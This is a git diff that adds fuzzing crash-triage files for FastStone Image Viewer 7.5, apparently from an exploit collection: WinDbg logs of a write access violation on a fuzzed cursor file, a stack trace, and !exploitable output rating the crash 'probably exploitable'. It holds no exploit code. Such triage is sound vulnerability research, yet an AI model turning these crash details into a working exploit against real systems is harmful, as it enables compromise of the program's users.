Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3306/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3306/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3306/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..e0eca22 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3306/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3306/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3306/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..889de9d --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3306/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,191 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Deferred srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols;srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffe`170c0000 00007ffe`172b0000 ntdll.dll +ModLoad: 00000000`77240000 00000000`773da000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b31000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1564: page heap enabled with flags 0x3. +ModLoad: 00007ffe`15390000 00007ffe`153e5000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffe`15cd0000 00007ffe`15d4d000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77230000 00000000`77239000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`71f50000 00000000`71fb3000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1564: page heap enabled with flags 0x3. +ModLoad: 00000000`770d0000 00000000`771b0000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`76e10000 00000000`7700f000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75950000 00000000`75ae8000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`750d0000 00000000`750e7000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`75b00000 00000000`75b21000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75640000 00000000`7579c000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`74a30000 00000000`74aac000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`76220000 00000000`76340000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76c10000 00000000`76c89000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76ca0000 00000000`76d5f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`74ab0000 00000000`74b26000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`76450000 00000000`7650b000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`74a00000 00000000`74a25000 C:\Windows\SysWOW64\SspiCli.dll +ModLoad: 00000000`749f0000 00000000`749fa000 C:\Windows\SysWOW64\CRYPTBASE.dll +ModLoad: 00000000`76d60000 00000000`76dc0000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`77030000 00000000`770c2000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`74e40000 00000000`750b6000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`76120000 00000000`76217000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`748f0000 00000000`748f8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`71f40000 00000000`71f46000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`76610000 00000000`76635000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`71d30000 00000000`71f3f000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.18362.1256_none_e62b6e72f8da69e8\comctl32.dll +ModLoad: 00000000`75ba0000 00000000`7611b000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`71cc0000 00000000`71d2b000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`74b30000 00000000`74b6b000 C:\Windows\SysWOW64\cfgmgr32.dll +ModLoad: 00000000`75140000 00000000`7514f000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`76560000 00000000`765e4000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`765f0000 00000000`76609000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`71bf0000 00000000`71cb6000 C:\Windows\SysWOW64\PROPSYS.dll +ModLoad: 00000000`76640000 00000000`76c01000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`71bb0000 00000000`71be2000 C:\Windows\SysWOW64\IPHLPAPI.DLL +ModLoad: 00000000`751d0000 00000000`751eb000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`76510000 00000000`76553000 C:\Windows\SysWOW64\powrprof.dll +ModLoad: 00000000`75b90000 00000000`75b9d000 C:\Windows\SysWOW64\UMPDC.dll +ModLoad: 00000000`76dc0000 00000000`76e04000 C:\Windows\SysWOW64\shlwapi.dll +ModLoad: 00000000`77010000 00000000`77023000 C:\Windows\SysWOW64\cryptsp.dll +ModLoad: 00000000`75890000 00000000`75940000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`71b60000 00000000`71b82000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`71b30000 00000000`71b54000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`71990000 00000000`71b29000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`71960000 00000000`71983000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001f3000 C:\Windows\SysWOW64\WINMMBASE.dll +ModLoad: 00000000`71b90000 00000000`71bab000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`03380000 00000000`033a3000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`71940000 00000000`71959000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 718c0000 7193a000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76340000 00000000`76443000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`718a0000 00000000`718b9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`771b0000 00000000`77230000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`71730000 00000000`71899000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`716c0000 00000000`71721000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`716b0000 00000000`716b7000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`71670000 00000000`716a1000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`71490000 00000000`7166e000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`71320000 00000000`7148a000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`71250000 00000000`71311000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`71230000 00000000`71249000 C:\Windows\SysWOW64\dxcore.dll +ModLoad: 00000000`71040000 00000000`71225000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`71020000 00000000`7103f000 C:\Windows\SysWOW64\RMCLIENT.dll +ModLoad: 00000000`70fd0000 00000000`7101a000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`70fc0000 00000000`70fca000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`70fa0000 00000000`70fb5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`70f80000 00000000`70f99000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`70f70000 00000000`70f7b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`70f50000 00000000`70f68000 C:\Windows\SysWOW64\MPR.dll +ModLoad: 00000000`70f30000 00000000`70f41000 C:\Windows\SysWOW64\vmhgfs.dll +ModLoad: 00000000`70f10000 00000000`70f24000 C:\Windows\SysWOW64\VCRUNTIME140.dll +ModLoad: 00000000`70f00000 00000000`70f09000 C:\Windows\SysWOW64\drprov.dll +ModLoad: 00000000`70eb0000 00000000`70ef4000 C:\Windows\SysWOW64\WINSTA.dll +ModLoad: 00000000`70e90000 00000000`70ea2000 C:\Windows\SysWOW64\ntlanman.dll +ModLoad: 00000000`70e70000 00000000`70e89000 C:\Windows\SysWOW64\davclnt.dll +ModLoad: 00000000`70e60000 00000000`70e6a000 C:\Windows\SysWOW64\DAVHLPR.dll +ModLoad: 00000000`70e50000 00000000`70e60000 C:\Windows\SysWOW64\wkscli.dll +ModLoad: 00000000`70e40000 00000000`70e4e000 C:\Windows\SysWOW64\cscapi.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`70db0000 00000000`70e32000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1564.1928): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07fc55f0 edx=00000000 esi=00000000 edi=0d436fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.783268298288415840000e+0017 +st4= 0.000000000000000000000e+0000 st5= 1.000000000000000000000e+0000 +st6= 1.000000000000000000000e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 1.4013e-045 +xmm7=2.76441e+033 -7589.13 1.98478e+006 -1.14908e+020 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 080a8130 08025930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 770e6359 00246000 770e6340 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 772a8944 00246000 c29c7899 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 772a8914 ffffffff 772ca0cd 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00246000 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3306/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3306/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..889de9d --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3306/WindowsDebugEngine_description.txt @@ -0,0 +1,191 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Deferred srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols;srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffe`170c0000 00007ffe`172b0000 ntdll.dll +ModLoad: 00000000`77240000 00000000`773da000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b31000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1564: page heap enabled with flags 0x3. +ModLoad: 00007ffe`15390000 00007ffe`153e5000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffe`15cd0000 00007ffe`15d4d000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77230000 00000000`77239000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`71f50000 00000000`71fb3000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1564: page heap enabled with flags 0x3. +ModLoad: 00000000`770d0000 00000000`771b0000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`76e10000 00000000`7700f000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75950000 00000000`75ae8000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`750d0000 00000000`750e7000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`75b00000 00000000`75b21000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75640000 00000000`7579c000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`74a30000 00000000`74aac000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`76220000 00000000`76340000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76c10000 00000000`76c89000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76ca0000 00000000`76d5f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`74ab0000 00000000`74b26000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`76450000 00000000`7650b000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`74a00000 00000000`74a25000 C:\Windows\SysWOW64\SspiCli.dll +ModLoad: 00000000`749f0000 00000000`749fa000 C:\Windows\SysWOW64\CRYPTBASE.dll +ModLoad: 00000000`76d60000 00000000`76dc0000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`77030000 00000000`770c2000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`74e40000 00000000`750b6000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`76120000 00000000`76217000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`748f0000 00000000`748f8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`71f40000 00000000`71f46000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`76610000 00000000`76635000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`71d30000 00000000`71f3f000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.18362.1256_none_e62b6e72f8da69e8\comctl32.dll +ModLoad: 00000000`75ba0000 00000000`7611b000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`71cc0000 00000000`71d2b000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`74b30000 00000000`74b6b000 C:\Windows\SysWOW64\cfgmgr32.dll +ModLoad: 00000000`75140000 00000000`7514f000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`76560000 00000000`765e4000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`765f0000 00000000`76609000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`71bf0000 00000000`71cb6000 C:\Windows\SysWOW64\PROPSYS.dll +ModLoad: 00000000`76640000 00000000`76c01000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`71bb0000 00000000`71be2000 C:\Windows\SysWOW64\IPHLPAPI.DLL +ModLoad: 00000000`751d0000 00000000`751eb000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`76510000 00000000`76553000 C:\Windows\SysWOW64\powrprof.dll +ModLoad: 00000000`75b90000 00000000`75b9d000 C:\Windows\SysWOW64\UMPDC.dll +ModLoad: 00000000`76dc0000 00000000`76e04000 C:\Windows\SysWOW64\shlwapi.dll +ModLoad: 00000000`77010000 00000000`77023000 C:\Windows\SysWOW64\cryptsp.dll +ModLoad: 00000000`75890000 00000000`75940000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`71b60000 00000000`71b82000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`71b30000 00000000`71b54000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`71990000 00000000`71b29000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`71960000 00000000`71983000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001f3000 C:\Windows\SysWOW64\WINMMBASE.dll +ModLoad: 00000000`71b90000 00000000`71bab000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`03380000 00000000`033a3000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`71940000 00000000`71959000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 718c0000 7193a000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76340000 00000000`76443000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`718a0000 00000000`718b9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`771b0000 00000000`77230000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`71730000 00000000`71899000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`716c0000 00000000`71721000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`716b0000 00000000`716b7000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`71670000 00000000`716a1000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`71490000 00000000`7166e000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`71320000 00000000`7148a000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`71250000 00000000`71311000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`71230000 00000000`71249000 C:\Windows\SysWOW64\dxcore.dll +ModLoad: 00000000`71040000 00000000`71225000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`71020000 00000000`7103f000 C:\Windows\SysWOW64\RMCLIENT.dll +ModLoad: 00000000`70fd0000 00000000`7101a000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`70fc0000 00000000`70fca000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`70fa0000 00000000`70fb5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`70f80000 00000000`70f99000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`70f70000 00000000`70f7b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`70f50000 00000000`70f68000 C:\Windows\SysWOW64\MPR.dll +ModLoad: 00000000`70f30000 00000000`70f41000 C:\Windows\SysWOW64\vmhgfs.dll +ModLoad: 00000000`70f10000 00000000`70f24000 C:\Windows\SysWOW64\VCRUNTIME140.dll +ModLoad: 00000000`70f00000 00000000`70f09000 C:\Windows\SysWOW64\drprov.dll +ModLoad: 00000000`70eb0000 00000000`70ef4000 C:\Windows\SysWOW64\WINSTA.dll +ModLoad: 00000000`70e90000 00000000`70ea2000 C:\Windows\SysWOW64\ntlanman.dll +ModLoad: 00000000`70e70000 00000000`70e89000 C:\Windows\SysWOW64\davclnt.dll +ModLoad: 00000000`70e60000 00000000`70e6a000 C:\Windows\SysWOW64\DAVHLPR.dll +ModLoad: 00000000`70e50000 00000000`70e60000 C:\Windows\SysWOW64\wkscli.dll +ModLoad: 00000000`70e40000 00000000`70e4e000 C:\Windows\SysWOW64\cscapi.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`70db0000 00000000`70e32000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1564.1928): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07fc55f0 edx=00000000 esi=00000000 edi=0d436fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.783268298288415840000e+0017 +st4= 0.000000000000000000000e+0000 st5= 1.000000000000000000000e+0000 +st6= 1.000000000000000000000e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 1.4013e-045 +xmm7=2.76441e+033 -7589.13 1.98478e+006 -1.14908e+020 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 080a8130 08025930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 770e6359 00246000 770e6340 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 772a8944 00246000 c29c7899 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 772a8914 ffffffff 772ca0cd 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00246000 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 